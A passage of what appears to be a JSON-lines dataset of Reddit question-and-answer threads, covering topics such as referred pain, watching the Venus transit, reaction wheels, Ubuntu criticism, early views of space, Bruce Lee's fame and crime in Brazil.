crossed and are interpreted as being elsewhere. The pain is sharper and more localized.  This is why pain from a heart attack can be felt on the back, shoulders, or arms. The spinal cord levels for innervation of the heart is T1-T5. \n\nThese are two different types of pain, but both can be caused by damage to the viscera of internal organs. ", "IIRC from gastro, the gut actually has a lot of nerves.. in fact it has so many nerve endings it's sometimes referred to as the enteric nervous system.  GOOGLE BREAK.   Yup, the enteric nervous system.  ", "on a related note, what is actually cramping when my stomach cramps?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Referred_pain"], ["http://en.wikipedia.org/wiki/Visceral_pain", "http://en.wikipedia.org/wiki/Referred_pain"], [], []]}
{"q_id": "um5hs", "title": "Is it safe to look at the sun with multiple pairs of sunglasses on?", "selftext": "I want to see today's Venus transversal but don't know anyone with a welders mask. Is this safe or is there any other way to see it?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/um5hs/is_it_safe_to_look_at_the_sun_with_multiple_pairs/", "answers": {"a_id": ["c4wkn7f", "c4wkyfl"], "score": [8, 6], "text": ["Most sun viewing filters have a thin layer of chromium alloy or aluminum to remove the effects of both visible and non-visible radiation. Because sunglasses do not have this, any number of stacked glasses will likely not be safe.\n\n\nIf you are unable to get your own, many universities are having 'transit parties' and supply the proper eye protection.", "See [the wikipedia section on this](_URL_0_), which is well sourced and mostly written by me.  It might actually be more dangerous to look at the Sun through sunglasses than with the naked eye.  Particularly in the late afternoon heading into sunset, it is probably not dangerous to look at the Sun with healthy eyes, even if they are completely unprotected.\n\nThe Venus transit does not have the same dangerous quirk as a partial eclipse (see the linked article).\n\nAll of that said, you are unlikely to see much with the naked eye or with a non-magnifying welder's glass.  You are far better off using eyepiece projection through some binoculars.   Point the binoculars at the Sun (no, don't look through them, silly -- that could boil your eyes) and mount them to a tripod or something similar using duct tape, zip ties, or bungee cords.  By adjusting the focus knob you can project a clear image of the Sun on a wall or the sidewalk below them.  For extra bonus viewing, remember to bring a piece of foam rubber or cardboard.  Then you can cut a hole out of the material and slip it over the objective lens of the binoculars, to make a nice shadow.  Since you're projecting an image of the Sun, you can project it into the handy shadow you just made.\n\nPinhole projection won't work well since Venus is so small compared to the Sun.  A pinhole image of the Sun large enough to make Venus clear will be over 1,000 times fainter than the surrounding sunlight, i.e. very hard to see.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Sun#Observation_and_effects"]]}
{"q_id": "2ougoj", "title": "Please shed some light on questions I have regarding reaction/momentum wheels?", "selftext": "As an electronics hobbyist and amateur astronomer, I've recently developed quite an interest in the use of reaction wheels in spacecraft.\n\nThe problem I'm having with online articles is that they're either too technical, or just don't answer my questions.\n\n1.) What factors need to be taken into account when trying to determine how large the reaction wheels need to be to rotate the craft? Is it as simple as larger wheels being able to store more momentum?\n\n2.) If I had a machine that rotates with servos, could I simply replace them with reaction wheels on 3 different axes?\n\n3.) CMG's seem to replace reaction wheels in spacecraft with larger mass - what are the reasons for this?\n\n4.) If I wanted to build my own reaction wheel, could I just connect a piece of round plastic to a DC motor, or is there more to it?\n\n5.) Assuming power is a non-issue, do spacecraft also use monoprop rockets just for propulsion, and reaction wheels for attitude control?\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2ougoj/please_shed_some_light_on_questions_i_have/", "answers": {"a_id": ["cmr0hg4"], "score": [2], "text": ["1) Larger wheels with more mass have a larger moment of inertia, so the amount of torque required to induce a given angular acceleration would naturally be higher.  This means that the reaction wheel system can induce more torque around that axis before reaching the speed limits of the electric motor.  A larger reaction wheel with more mass will require more energy at launch to reach orbit, though, so the weight budget of the spacecraft must be considered.\n\n2) Reaction wheels and servos do not serve the same purpose, so no, it would not be that simple.\n\n3) CMGs are more mass-efficient than reaction wheels for larger torque applications, but are more complicated, consume more power, and require frequent maintenance to continue operating.  Reaction wheels, by comparison, are very simple, and durable, but not as mass-efficient at producing torque.\n\n4) It's a little more complicated than that.  Your motor would need to provide speed feedback to a micro-controller so you can ensure that the speed of the motor remains constant when you don't desire any torque changes.  This would be an easy project to do with something like an Arduino, though.  I'd use a heavier wheel than plastic, too.\n\n5) It depends on the spacecraft.  For many smaller spacecraft, this is the gist of it, but larger spacecraft have different requirements.  Also, the mono-propellant can be used to \"reset\" the reaction wheels to a lower speed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "19xjx8", "title": "why are so any people in the linux community pissed at ubuntu/canonical?", "selftext": "I just don't understand. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/19xjx8/eli5_why_are_so_any_people_in_the_linux_community/", "answers": {"a_id": ["c8sa93q", "c8saoai", "c8sau3g", "c8sbsku", "c8sbwcf", "c8sjzpl"], "score": [11, 9, 3, 2, 10, 2], "text": ["Ubuntu user here. I've had at least one rig running Ubuntu for the last 4-5 years. The recent releases have been getting worse and worse in terms of user interface and program compatibility. After all this time using some Windows programs in WINE, the two latest releases have been getting glitchy while trying to handle emulators. Besides that, codec compatibility has been getting shoddy, certain drivers (video, audio, hardware, etc.) have been having recognition issues, and office/production programs have been removed completely. \n\nIt's getting to the point where I'm starting to back up all of my data in the cloud, so that if the next build doesn't fix certain issues I've been having, I'm installing Windows back onto my Ubuntu rig. \n\nI could dual-boot, but then the redundancy in music/video files will take up all of my hard drive space. There's also a file system formatting issue I've been having, but that could just be me. ", "IdioticPlatypus is somewhat correct - but in terms of Linux distros in general Ubuntu is quite stable. It has a lot of backing and seamless driver support for common hardware.\n\n I know a lot of people are annoyed at Canonical's attitude towards Linux, ie treating it like a business when much of the Limux community is for absolutely non corporate and community based software.\nCanonical are often pushing phones and tablets and have included Amazon ads in the Ubuntu Software centre.\n\nI don't think it's too bad at all though (compared to other major operating systems). Ubuntu is completely open to the user and provides a great, friendly experience.", "One of the core ideas of the Linux philosophy is stability and ease of customization, sometimes at the expense of ease of use. While Canonical has done a lot for the Linux community, their recent decisions have seemed to go against this idea. \n\nRecent releases have been aimed at making Ubuntu a competitor to Windows/OS X by making it easier to use, but this sometimes causes stability issues. Some of their changes make it harder to modify certain things, which can make it more user-friendly to beginners, but make it frustrating to experienced users. \n\nNote that none of these things is objectively 'bad'. Canonical has done huge things for the Linux community, and is currently making Linux viable in the tablet market. However, these departures from the norm cause people to get frustrated (as they always do). ", "I'm not a major linux nut, have just had a distro installed as an occasionally used dual boot or VM for years. I use Ubuntu at work at a lot though and for me at least, the displeasure is that they are taking a very un-linux-like \"we know what's right, not the user\" approach in terms of specifying how particular UI conventions should be. Which wouldn't be so bad if they still left things configurable and feature rich, but that doesn't seem to be what they're doing - they're going all the way down Apple's path of both telling the user what he should like, stripping a way features they deem \"confusing\", and locking things down so you can't configure them. So you have stuff like Ubuntu 11's Unity with no panel, limited/no right click support for a lot of UI, having to use the launcher/dashboard thing instead of a menu, etc. Which wouldn't bother me that much since I would just switch to Gnome, but Gnome picked right around that time to do their own major shift of UI paradigms.", "If you go back and look at how Liinux Distro's are packaged, you'll see that they are all essentially packaged in the same way. While aspects like the package manager and other core components might be different almost all Linux distro's come with a Gnome, KDE and XFCE flavor and roughly the same set of applications.\n\nFrom Ubuntu 4.10 (the 1^st Ubuntu Release) to Ubuntu 10.10, Ubuntu kept up with this constancy, of front end applications and simply added tweaks here and there to improve usability. However since Ubuntu 11.04 (the point at which they introduced Unity as the standard desktop environment), they started to stray from that code of consistency and started to develop their own in-house applications (like Unity) that were only available to Ubuntu. \n\nThis proceeded until now when Canonical is releasing mobile versions of Ubuntu and planning on a unified code base across desktop and mobile devices. \n\nThis is pissing off users because everyone was used to Ubuntu being a certain way, doing things a certain way that was in keeping with other Linux distro's. Now with all the changes, many users are finding it difficult to get used to the new interface and all the changes that have been hurdled at them in the past year. \n\nAnother reason everyone's pissed is that Ubuntu Linux is ceasing to be Ubuntu Linux but rather just Ubuntu (kind of like Apple OS back in the 90's). And the part that make everyone mad is that their taking all their popularity with them. Of the consumer OEM's that ship Linux on their machine's, almost all ship Ubuntu. While this played a big role in boosting the reputability of Linux in the past, if Ubuntu keeps going on their path of change, all the credibility will be going to Ubuntu/Canonical and not other Linux distro's. \n\n\nNow to step back from the negative, while tons of users are pissed about what Canonical is doing, its still reason to be excited. Ubuntu has gone from taking baby steps in the past to now huge steps towards future goals. Canonical has been talking about moving Ubuntu to a hybrid rolling/point-release structure which will make it much more accessible for standard users (you will no longer have to upgrade your OS every 6-months to stay on top of updates) and with a unified mobile-desktop code base we might actually have a viable alternative to Windows 8 in a year or so (while Unity is something to get used to, its no train-wreck like Metro). Additionally, with the Expansion of the Ubuntu software center, we will probably see a mass of commercial software come to Linux in the next couple of years. \n\n", "Well there are several reasons why the Linux community is upset with the approach Canonical is taking with Ubuntu development.\n\nLinux 101.  Although it\u2019s called Linux, the Linux kernel is actually just a very small part of the operating system.  There are hundreds, even t thousands, of other packages required to make a working Linux system.  Here\u2019s the tricky bit: somebody has to take all the individual software packages and put them together in a way that makes a usable operating system.  The result of this is called a **distribution**.\n\nCanoncial\u2019s distribution is called Ubuntu and it was created in 2004. Now Canonical were very smart when they decided to make a new distribution.  They realised how much hard work it would be collecting all the required software and making it interoperate, so they chose to base their system on an already working and mature distribution, Debian.\n\nDebian developers put a lot of hard work into making a stable and feature-packed distribution and most of this work is carried out by volunteers, who give their efforts away for free.  Canonical then takes this system and makes a few changes, some of which are very clever and beneficial, that turn it into Ubuntu.  However, some parts of the community think Ubuntu isn\u2019t very good at giving the improvements it makes back to Debian.  They think that Canonical has benefitted greatly from the Debian community\u2019s generosity but they don\u2019t see that reciprocated.  This makes them sad :-(\n\nAnother issue some developers have is that Canonical has recently started to replace some elements of Ubuntu with custom elements that are developed in-house.  They say Canonical likes to keep too much control over some parts of the system and that it is too hard for non-Canonical developers to contribute to the operating system.  \n\nA critical event is the **Wayland incident**, when Canonical made U-turn over the future of Ubuntu\u2019s graphical interface.  Canonical were at one point in support of Wayland, but when they decided instead to develop their own display manager they published harsh criticisms of the open source software package even though it is still in development and not yet released.  To make matters worse, the criticisms weren\u2019t even true \u2013 it appears Canonical just wanted to justify its decision based on a lie.  \n\nAs a result, some developers believe Ubuntu is intent on replacing widely adopted open source software with programs of its own creation.  In effect, they are following Apple\u2019s model, in attempting to create a single experience that crosses desktop, tablet and phone.\n\nIt is a complicated issue, with no single reason, and not all developers are in agreement about it.  Many of the disgruntled developers have stopped contributing to Ubuntu but continue to work on open source projects in different communities (e.g. Debian).  However, it seems undeniable that Ubuntu will continue to play a critical role in the promotion and uptake of GNU/Linux operating systems for the foreseeable future.  \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "4ukfas", "title": "What did early scientists like Galileo and Newton think made up space, i.e. what was between the visible stars?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ukfas/what_did_early_scientists_like_galileo_and_newton/", "answers": {"a_id": ["d5rlp5o"], "score": [7], "text": ["With Galileo, this is sort of a non-question. Galileo (like everyone else of his time) distinguished between the \"fixed stars\" and things within the local solar system (e.g. planets, moons, comets). But he didn't know much about the fixed stars. By his time it had already been accepted that the \"starry orb\" (as he put it in a letter) was very far from Earth and much larger than it. In the Ptolemaic view of things, the interior space between heavenly bodies was crystalline in some way. Galileo, in his _Dialogue Concerning the Two Chief World Systems_, argues that this is unlikely, and rather suggests it makes more sense of the space between was \"fluid,\" but as for what might be in that space, he doesn't clarify or specify what he thinks it is. Satellites (like the moons of Jupiter) already sort of threw the idea of crystalline spheres out the window. They were not the hardest things to throw out, even for those opposed to Galileo.\n\nIt should be noted that the idea of a vacuum is probably not what he would have had in mind. The idea that vacuums did not exist was very strongly rooted in Aristotlean philosophy, and to jump from \"things move\" to \"there is literally nothing between them\" is a pretty big jump. \n\nIt does not mean that he might have thought it was filled with air or gas, though, at least not of the sort you and I think of. There was a notion at the time of \"rarified air\" or aether, which is to say, an air that is not materially air but is not a vacuum either. If that sounds troublesome, it is, but so is a vacuum without an evidence of one. The anti-vacuumists would say, after Boyle's air-pump was developed, that it might _look_ like there was no air in there, but there is an air that is not affected by material pushing and pulling, or might be much smaller than \"normal\" air, and this is what they called rarified air. You can kind of thing of it as air's \"non-material\" part. Again, we don't have any space for non-material air in our current understanding of the world, so this is a strange thing to consider, but recall they also aren't thinking about air in terms of molecules.\n\nAn example from the time. Cardinal Bellarmine, a top Jesuit theologian, believed in a fluid cosmos since at least 1572. He argued that there was no crystalline spheres, but it _not_ the incorruptible aether, either. Rather, it \"was composed of a fire-like substance that was not incorruptible, could undergo substantial change, and could be easily penetrated.\" Why come up with something like this? Because comets clearly moved between the fixed stars and Earth/Moon system, so it couldn't be rigid. \n\nTo give you an idea, again, of how non-modern Galileo could sound if you actually read what he thought about the stuff we _don't_ think he was right about, here's what he thought was going on with the Sun: \n\n >  It seems to me that there is in nature a very spirited, tenuous, and fast substance that spreads throughout the universe, penetrates everything without difficulty, and warms up, gives life to, and renders fertile all living creatures. It also seems to me that the senses themselves show us the body of the Sun to be by far the principal receptacle of this spirit, and that from there an immense amount of light spreads throughout the universe and, together with such a calorific and penetrating spirit, gives life and fertility to all vegetable bodies.\n\nWhich is to say, there are aspects of that you can warp to make some modern sense of (ok, infrared radiation does matter for things like life), but it's just a very fundamentally different worldview than what we have today. It is not quite so mechanistic, not quite so \"naturalistic,\" even if he is rejecting a lot of the Artistolean and Jesuit doctrines. It has a somewhat mystical feel to it. This is not to criticize Galileo; he did a lot given what he had access to.\n\nSo this doesn't quite answer your question but it gives you a flavor for how non-modern the answers at the time likely would have looked. (The sources I consulted on this were Stillman Drake's Brief Introduction to Galileo, which is useful, Galileo's own _Dialogue Concerning the Chief Two World Systems_, and, for the last discussion of Bellarmine, Mario Biagioli's _Galileo's Instruments of Credit_, pages 209-210, which are in the context of the doctrine of \"fluid skies\" and how Galileo's critics felt about it, in particular in response to the question of what sunspots might be.)\n\nBy Newton's time, he wasn't really spending time debating Jesuits, so the context had changed a bit. Newton also believed in an aether that permeated the universe and was the rarified medium through which light passed. He referred to the \"empty celestial space\" between celestial bodies, and was not opposed philosophically to the idea of the vacuum, but I've not seen a lot of discussion that allows me to determine whether he thought it actually was. Apparently in 1706 he considered \"what the space that is empty of bodies is filled with\" to be one of those big, hard questions that he wasn't sure of the answers. But for all practical purposes, you can say that he thought the space between stars, planets, etc., was empty of material substance (which still leaves an aether or vacuum distinction if you really care about early modern physical philosophy). Newton was prone (following, say, the philosophy of Boyle) to just not worrying about that sort of thing publicly \u2014 he tried to concern himself primarily with the measurable and leave what he saw as the indistinguishable philosophical aspects alone, and railed against natural philosophers who took assumptions about atomicity, vacuums, and so on for granted and then tried to figure out things like gravity from those assumptions (e.g., deductive rather than inductive reasoning). This, some critics of this approach charge, was a bit of a bait-and-switch, since to do any kind of inductive work you still had to make big assumptions. When he did hold forth on the nature of emptiness, he was mostly concerned with whether it was empty of _God_ in some way \u2014\u00a0again, I think, an indication that he doesn't think there's anything _material_ in between the planets. Which, again, I think points to the ways in which they were framing the discussion a bit differently than we would today! \n\n(I find the early modern mind to be about half-recognizable and relatable, and half-alien and foreign. They cared about some of the things we care about today, but there's an awful lot of stuff that is not part of the modern empiricist worldview.)\n\nOn Newton, the 1706 quote comes from John Barrow, _The Book of Nothing_. I also looked at the classic Newton biography, Westfall's _Never at Rest_, which has the bits about God being in the empty bits (pp. 647). On 17th century debates about vacuums and the kinds of questions scientists should ask, Shapin and Schaffer's _Leviathan and the Air-Pump_ is the classic and essential read. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "yhfrt", "title": "how do i buy, keep and use bitcoins?", "selftext": "I'm very excited about this new currency and thinking of investing in BTC. What do I need to do to buy and invest and eventually spend bitcoins? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/yhfrt/eli5_how_do_i_buy_keep_and_use_bitcoins/", "answers": {"a_id": ["c5vlvue", "c5vo7h3"], "score": [5, 7], "text": ["Download and install the bitcoin client. _URL_1_\n\nStart it a first time to generate a few first digital keypairs that acts as your bitcoin addresses.\n\nWhile you can mine bitcoin, that will take too much efforst for beginners. Buy bitcoins on sites like these on this list (make sure you only buy from sites you trust!):\n\n_URL_2_\n\nYou give the seller your bitcoin address, and the coins are transferred to it.\n\nWhen it comes to investment, beware that the value of bitcoins still are unstable. Don't put your savings into it!\n\nWhen you want to send bitcoins (buy things with them), you use your bitcoin client to specify the reciever and the amount.\n\n_URL_3_\n\n_URL_0_", "I've always loved this explanation.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.quora.com/What-are-some-things-you-can-buy-with-Bitcoins", "http://bitcoin.org/", "https://en.bitcoin.it/wiki/Buying_bitcoins", "http://www.btcnn.com/2011/08/what-can-i-buy-with-bitcoin.html"], ["http://i.imgur.com/mjXOw.jpg"]]}
{"q_id": "2y8p3z", "title": "why when i pinch the skin on my elbow as hard as i can it doesn't hurt, but when i graze it or cut it, it does?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2y8p3z/eli5_why_when_i_pinch_the_skin_on_my_elbow_as/", "answers": {"a_id": ["cp791hf", "cp7ceav"], "score": [194, 58], "text": ["The nerves which respond to a cut are below the surface of the skin. The elbow is designed to be leant on etc. so has a different distribution of nerves than a more sensitive part of the body than say the fingers.", "There are [multiple classes of different types of nerve fibers.](_URL_0_) Some of these fibers are responsible for pressure/touch/moving, while others are responsible for sensation/hot/cold/sharp pain. An uneven distribution of the different types can account for the ability to feel one type of stimulus while hardly noticing another."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Nerve_fiber#Classification_of_peripheral_nerve_fibers"]]}
{"q_id": "3yqa0b", "title": "why is bruce lee so famous in comparison to the thousands of other top martial artists before and after him?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3yqa0b/eli5_why_is_bruce_lee_so_famous_in_comparison_to/", "answers": {"a_id": ["cyfofgk", "cyfoi0l", "cyfqtjf", "cyfqvg3", "cyfv192", "cyfv1f7", "cyfv23t", "cyfvsi5", "cyfwwyk", "cyfxeh8", "cyg0275", "cyg4sg2"], "score": [9, 87, 77, 31, 3, 5, 5, 3, 18, 3, 3, 2], "text": ["Bruce Lee taught martial arts to non-Chinese which was taboo. His movies featured action more realistic in comparison to previous Kung Fu films. He \"invented a new martial art.\" He died early because God needed a bodyguard.", "Uh, well he was not just a martial artist.  He was a movie star, which garners a whole lot more fame and fortune than martial arts alone.  Besides being a legendary martial artist we was a great actor and a genius of directing and performing action scenes in movies.  He partially or fully directed the action scenes of many of the movies he starred in.   \n\nHis movies were also very good and had totally badass fights.  They were kind of a sweet spot of kung fu movies that really appealed to American audiences in the 70s.  They had a lot of style and created a lot of the tropes we see in martial arts films.  ", "As others have noted in their responses, he was a movie star and a legendary martial artist with his speed, strength and knowledge. \n\nWhat stands out for me, however, is that he was one of the first to throw away the idea that one style of martial arts was better than another. If someone throws a punch at your head, Kempo teaches you to block with a particular move, Aikido teaches you to block with a different particular move, Wing Chung teaches you to block with a different particular move... so forth and so on. Bruce was very vocal about not being stuck in one style or another, but to find and use what works, not matter the style.... be like water. This was proven once MMA became a major sport.\n", "Death in your prime=awesome legend. Just ask Jimmy Hendrix, Janis Joplin, Kurt Cobain, Bradley Nowell, Marilyn Monroe, JFK, etc, etc, etc. It freezes you where you were. There can be no decline, no wash up. You will always be you at your greatest.", "Ooooook since nobody has yet addressed this the *real* reason bruce lee is easily with no contest the world's most famous martial artist is because he is also indisputably the *best* martial artist we have even come close to seeing.", "You may have intended your question to read \"top martial arts actors\". In this case, Bruce Lee is legendary in comparison to other martial arts actors because of his on-screen \"presence\", and by this I mean his skill level, his physique, his showmanship, his swagger, his style, were all many levels above what was before him and still what is after him. His skill level is unrivaled, the speed and execution of his moves, if analyzed, is really unparalleled as far as martial arts goes. His physique is second to none, his swagger and vocal noises of his fight scenes showed real character and dynamism that is hard for any individual to accomplish. People in his time knew he was one of a kind. To this day, he is one of a kind. To really appreciate Bruce Lee and understand why he is so much more famous, you really have to analyze and understand what he is about. Don't just watch the fight scenes, analyze what you're seeing. Bruce Lee is striking fast, strong, and precise and you cannot see this skill in any other martial artist actor. This guy gave you everything he had, and it is leaps and bounds greater than anyone else you've seen. To this day, there's no one close, and that's why he's a legend. Not just as an actor, but as a true martial artist, he is also a legend. Which is why he's not just famous, but he is very respected as a teacher, a motivator, an inspiration. He is not just famous, he is legendary.", "A couple of reasons. He was one of the first movie stars who actually knew martial arts. \nHe was also famous for his philosophy in martial arts. He can be seen as the godfather of mixed martial arts. In a time where martial arts were shrouded in secrecy, Bruce Lee was able to blend many different styles together and create JKD. \n\n ", "Besides all the things mentioned, he also played a role in our current physiological understanding. He trained his body to a ridiculous level. whilst reading books about nutrition and physiology, he got a better understanding of how to better your body with protein, fiber, daily exercise and shit like that. He gave us the blueprint to dietary supplements. Also everyone who's everyone from martial artist to skateboarders watched him and learned something that they retained as years went on. ", "It might not be a very popular comparison, but he was a lot like the Arnold Schwarzenegger of his day. If like, Arnie died while filming *Terminator 2.* Bruce Lee just *got. shit. done.* It's a lightning in a bottle combination of charisma, talent, and audacity. In summary:\n\n- He may very well have been the best martial artist the world has seen. He's in the conversation, at the very least. But I'd say most people will still tell you Bruce stands above the rest.\n\n- He was a movie star. In a time where Asians simply were not looked to to lead films, Lee was there, putting his stamp on cinema.\n\n- Not only that, he was behind the scenes as well. He wasn't just a monkey propped in front of the cameras. 1. Lee could walk the walk w/r/t stunts, fight scenes, acting. And 2. Lee had a hand in directing, writing, choreographing. Hands in many pots. Even *more* unheard of at the time. (And really, even to this day? There aren't many other Asian leading men who aren't just walking the path Bruce Lee blazed.)\n\n- He contributed in other fields. He wasn't just a practitioner of martial arts, he was an inventor as well. Lee was a philosopher on top of it all. He was an extremely disciplined, focused person, and he really kind of had the golden touch. He had a pretty forward thinking view on nutrition and physiology. He was off the mark on some of the stuff, but he laid out a lot of the blueprints for building a 'perfect' human physique.\n\n- He was also an insane physical specimen. [Look at that.](_URL_0_) How many lifetimes would you need at the gym to grow a set of g.d. wings? If Bruce Lee was just a professional 'in-shape' guy, he would dominate the field, and probably be remembered for that. And that was just the start of the conversation.\n\n- And, unfortunately, a little bit of posthumous rose colored glass is in effect, here. No one ever had to sit through a shitty, latter day Bruce Lee film. There was no fall from grace. Bruce Lee wasn't even at his zenith when he died, so the promise of unfulfilled potential gives his legacy a gravity it wouldn't otherwise have. Don't let that detract from what were some seriously impressive accomplishments, but in a recipe for cultural immortality, dying young is almost a requisite. ", "A lot of people forget he was also a bit of a philosopher. He studied philosophy a lot and even wrote his own book/s on the subject. Check out \"Striking Thoughts\" , it's a great read, and just the tip of the iceberg in regards to Bruce's ideals and the personnel beliefs he had that helped him become what he was.", "Screen presence and charisma have a lot to do with it I think. The way he spoke, or more accurately explained or lectured on his principle philosophies, drew in a lot of attention. He seemed to enchant the people he met and taught martial arts to, and a number of those people were involved in movies and television in the US.\n\nAlso, historically, very few lead actors were legitimate martial artists. Most martial arts movies made in China had very choppy looking fight scenes because the lead actors came from a background of focusing on acting, not martial arts. Those were usually the stun performers, who usually had to just fall to the poorly trained actor in the fight. There was also a lot of reliance on wire-work to make fights spectacular, rather than athletically capable actors.\n\nBruce Lee was a legitimate martial artist though, with a background in acting. His athleticism is unquestionable. When he started making movies in China, he was actually disrespected by some of the stunt staff because they assumed he was like the other lead actors they worked with; unfit to carry the fight scenes. He quickly proved them wrong, and suddenly audiences in China had something they've never seen before.\n\nHis first big starring role in *The Big Boss* was such a sensational draw for audiences in China that it was the highest grossing film in Hong Kong, and his second film *Fist of Fury* surpassed it. People had never seen anything like him before on screen. He made much of the martial arts filmed on screen seem childish in comparison.\n\nJackie Chan, Jet Li, and Donnie Yen (along with every other major marital arts star since) likely owe Bruce for creating a desire for legitimate martial artists starring as leads. Jackie, along with Sammo Hung, were both long time students at the Peking Opera School where they learned martial arts and tumbling for Peking opera productions. But they didn't get jobs in the Hong Kong film industry as actors at first. They were both given work as stuntmen, because of their physical abilities. Both are actually stuntmen in *Enter the Dragon*. Jet Li and Donnie Yen would likely share the same fate, but their careers got started after Bruce passed away.\n\nBruce made it so that Chinese cinemas were *begging* for actors that could actually pull off fight choreography that looked legitimate.\nActing (and other things) was practically ignored in search of actors that could fight like Bruce, or just look like him (Brucesploitation). The few who were actually exceptional would carve their own way on their talent eventually, but Bruce was the first cut into untouched territory.\n\nIn the US this also happened, but his charisma when offering Chinese philosophies and ideas probably helped. He drew in a lot of celebrities to his martial arts classes, and was probably how he ever managed to get *Enter the Dragon* to be released in the US (along with the fact it had a significant American actor co-starring).\n\nNo one had really seen anything like him up until then. Also, being ripped like him couldn't have hurt his screen presence...", "Jeet Kune Do practitioner here.\n\nThere are many reasons why he is more than your average martial artists.\n\n-He was charismatic, stylish. He even rocked unconventional ugly stuff like nunchucks and yellow jumpsuits.\n\n-He was way, WAY ahead of his time and he was a doer. He set up his own fighting style for survival. He acknowledged that the show set up by martial arts were good however streets were a different story. He rejected useless stuff. He really WAS the godfather of mixed martial arts.\n\n-He was a family man. He was a Cha-Cha dancer. He was a philosopher. He was peak human for his time. He almost went bankrupt because he wouldn't accept everyone to his martial arts school. He had manners.\n\n-Also I don't think \"he died young\" is an excuse for him being so famous. Jackie Chan still lives and he'll be as legendary as him when he passes away.\n\nAnd the ultimate reason why he is still famous? Because he grew up with an eastern culture, he was very well mannered and disciplined yet he was able to adapt to western culture as well. He wasn't some rude, arrogant, fighter of the time kinda guy. Compare him to the Tyson, Rousey, Mayweather etc. He didn't care about money and fame. He tried to inspire through philosophy and other beauties of the world. That's why your average western or eastern martial arts champions will fade and Bruce won't."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], ["http://www.bkrw.com/wp-content/uploads/2012/01/bruce-lee.png"], [], [], []]}
{"q_id": "34qpdp", "title": "Where can I find out more information about the Baron Roman von Ungern-Sternberg?", "selftext": "I'm fascinated by this Colonel Kurtz-type figure that set up a kind of Buddhist state in Ourter Mongolia during the Russian Civil War. I'd like some reading recommendations, preferably something that isn't too pop-history but is still accessible enough to be read by someone who is outside the field. \n\nIs James Palmer's Bloody White Baron: The Extraordinary Story of the Russian Nobleman Who Became the Last Khan of Mongolia any good? The title seems a little sensationalistic. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/34qpdp/where_can_i_find_out_more_information_about_the/", "answers": {"a_id": ["cqx5qv7", "cqxedrt"], "score": [6, 3], "text": ["Palmer's work is decent. It's pure pop history, of course, but if ever a figure fits a sensationalist narrative it's von Ungern-Sternberg. Less welcoming, for me, was the regular intrusion of a history of Buddhism and 'I woz ere' travelogue, no doubt a product of Palmer being a travel writer by trade. Worth a read but not something I'd rely on for research.\n\nA more robust account of the warlords in the Far East, if less focused on von Ungern-Sternberg, is Jamie Bisher's *White Terror:Cossack Warlords of the Trans-Siberian*. This puts 'the Bloody Baron' in the context of an equally unsavoury, if not quite so mad, cast of White warlords.", "Willard Sunderland has written a book on the Baron, [*The Baron's Cloak: A History of the Russian Empire in War and Revolution*](_URL_0_) quite recently. Sunderland is the author of *Taming the Wild Field*, one of my favorite books on the conquest and settlement of the steppes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.cornellpress.cornell.edu/book/?GCOI=80140100805580"]]}
{"q_id": "25f8hr", "title": "why is brazil's crime rate so high, and where did these trends begin?", "selftext": "After reading about police telling visitors to Brazil not to scream or react if/when they are mugged, as well as the many comments of how dangerous Brazil seems to be for the average person, I am very curious to understand when and why Brazil has become this way.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/25f8hr/eli5_why_is_brazils_crime_rate_so_high_and_where/", "answers": {"a_id": ["chgm3mf", "chgntl7", "chgq0eo", "chgropg", "chgsi8w"], "score": [6, 3, 43, 2, 2], "text": ["There is still a massive gap between the rich and poor in Brazil. \n\nAnd when the poor can't get jobs to feed themselves and their families, they turn to crime. It doesn't help that guns are easily available in Brazil as well. \n\nTourists make very easy targets, as many seem to leave their brains at home when they go on holiday to Brazil. ", "Not a Brazilian here, have Brazilian relatives (by marriage) and grew up around many Brazilians. (Always been fond of the culture and language!)\n\nEDIT: I should've clarified, the following is a summary of what I've read/watched in the last several months. I've been learning Portuguese and casually trying to learn more about Brazil, preparing to possibly travel there with family this year. I totally did not mean to speak as any kind of authority or expert on the subject!\n\nThere is an enormous wealth gap, as previously mentioned. The state has seemingly very little presence/power in many of the favelas (\"ghettos\" or shanty towns) of cities like Rio and Sao Paulo, compared to the power that local drug dealers have in their communities. Brazil scores pretty high on the perceived corruption [of government] index, which was posted on Reddit not too long ago. \n\nIf you're trying to learn more, \"favela\" is a word you definitely want to include in your search terms. While it's really sad, (as an American) it is interesting to see just how little power the police and state have in these neighborhoods.", "I beg to disagree with the other answers. The wealth gap is but a small part of the equation. Plus, OP is asking about crime and not only street violence. Tax evasion, corruption by politicians, extortion, they are all crimes. They are committed by wealthy people, and a lot. And still, a lot of the most violent crimes are committed by low middle class. Sure, a piss-poor guy with a .38 can rob passengers in a bus or your mobile phone, or a motorcycle stopped at a traffic light. But things like bank robberies and other crimes are done by wealthier and often educated (school-wise) people.\n\nIn ELI5 fashion (and trying to not write an essay, so ask for clarification if you want), there are two big reasons for crime rates in Brazil: 1) impunity; 2) culture and (lack of) education.\n\nThe most important is impunity. And it's widespread. It's not only the police force, which greatly lacks in numbers. It's also the judiciary and the judicial 